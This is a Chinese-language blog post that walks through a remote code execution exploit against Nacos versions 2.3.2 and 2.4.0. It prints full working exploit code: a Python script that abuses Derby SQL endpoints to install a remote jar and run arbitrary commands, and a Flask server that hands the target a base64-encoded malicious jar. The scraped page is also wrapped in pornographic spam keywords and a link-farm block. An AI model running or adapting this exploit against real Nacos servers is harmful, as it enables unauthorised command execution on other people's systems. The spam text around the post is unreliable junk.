<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      nacos RCE

      1.漏洞原理

      漏洞的核心在于 Nacos 的某些接口沒有嚴格的權限控制,攻擊者可以通過通過特定的 JSON 數據結構,遠程執行惡意代碼。以利用該漏洞讀取敏感文件、執行系統命令。

      條件:需要登錄后才能利用漏洞

      2.影響版本

      nacos 2.3.2
      nacos 2.4.0

      3.環境搭建

      https://github.com/alibaba/nacos/releases/
      Windows 環境搭建:nacos/bin/startup.cmd -m standalone
      image
      image

      4.漏洞復現

      exp:
      https://github.com/enomothem/nacos-poc
      https://pan.quark.cn/s/1e3b00f69731

      1. 需要python3安裝requirements.txt:pip install -r requiments.txt
      2. 修改 config.py 中的 IP 為本機 IP
      3. 執行 service.py,如下圖
        image
      4. 執行 exp
        image

      5.exp 文件

      nacos-poc:
      config.py
      exploit.py
      service.py
      requirements.txt
      image

      config.py
      server_host = '127.0.0.1'
      server_port = 5000
      
      exploit.py
      import random
      import sys
      import requests
      from urllib.parse import urljoin
      import config
      
      # 按裝訂區域中的綠色按鈕以運行腳本。
      def exploit(target, command, service):
          removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
          derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
          for i in range(0,sys.maxsize):
              id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
              post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
              CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
              CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
              option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
              get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
              #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
              files = {'file': post_sql}
              post_resp = requests.post(url=removal_url,files=files)
              post_json = post_resp.json()
              if post_json.get('message',None) is None and post_json.get('data',None) is not None:
                  print(post_resp.text)
                  get_resp = requests.get(url=derby_url,params={'sql':get_sql})
                  print(get_resp.text)
                  break
      
      if __name__ == '__main__':
          service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
          target = 'http://127.0.0.1:8848'
          command = 'calc'
          target = input('請輸入目錄URL,默認:http://127.0.0.1:8848:') or target
          command = input('請輸入命令,默認:calc:') or command
          exploit(target=target, command=command,service=service)
      
      service.py
      import base64
      from flask import Flask, send_file,Response
      import config
      
      payload = b'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'
      
      app = Flask(__name__)
      
      
      @app.route('/download')
      def download_file():
          data = base64.b64decode(payload)
          response = Response(data, mimetype="application/octet-stream")
          # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
          return response
      
      if __name__ == '__main__':
          app.run(host=config.server_host, port=config.server_port)
      

      requirements.txt

      flask
      requests
      
      posted @ 2024-07-17 23:11  落落的學習  閱讀(729)  評論(1)    收藏  舉報
      主站蜘蛛池模板: 亚洲精品麻豆一二三区| 亚洲av男人电影天堂热app| 顺昌县| 国产精品一二三区视在线| 天堂av成人网在线观看| 麻豆亚洲精品一区二区| 无码一区二区三区久久精品| 美女把尿囗扒开让男人添| 中文字幕人妻精品在线| 国产精品毛片久久久久久久| 国产高清自产拍av在线| 久久中文字幕日韩无码视频| 欧洲免费一区二区三区视频| 久久精品亚洲精品国产色婷| 国产超碰无码最新上传| 成人一区二区人妻不卡视频| 91密桃精品国产91久久| 极品人妻少妇一区二区| 久久精品99国产国产精| 国产一区二区在线激情往| 女同性恋一区二区三区视频| 亚洲嫩模一区二区三区| 亚洲综合国产成人丁香五| 一区二区三区鲁丝不卡| 人妻夜夜爽天天爽三区丁香花 | 亚洲av色香蕉一二三区| 免费看国产精品3a黄的视频| 国产二区三区不卡免费| 无码任你躁久久久久久久| 久久香蕉国产线看观看怡红院妓院 | 久久精品国产久精国产一老狼| 西藏| 日韩乱码人妻无码系列中文字幕| 青草成人精品视频在线看| 极品少妇被后入内射视| 天堂V亚洲国产V第一次| 精品在免费线中文字幕久久| 免费吃奶摸下激烈视频| 精品无码一区二区三区水蜜桃| 日韩一本不卡一区二区三区| 人妻精品久久无码区|